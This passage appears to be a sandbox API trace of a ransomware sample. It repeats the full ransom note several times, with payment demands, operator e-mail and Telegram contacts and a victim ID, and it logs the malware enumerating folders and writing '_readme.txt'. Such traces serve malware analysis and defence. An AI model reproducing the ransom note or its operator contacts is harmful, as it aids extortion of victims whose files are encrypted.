recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.690] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.690] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.690] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.690] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.690] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.690] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0116.690] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.691] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.691] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.691] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.691] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: 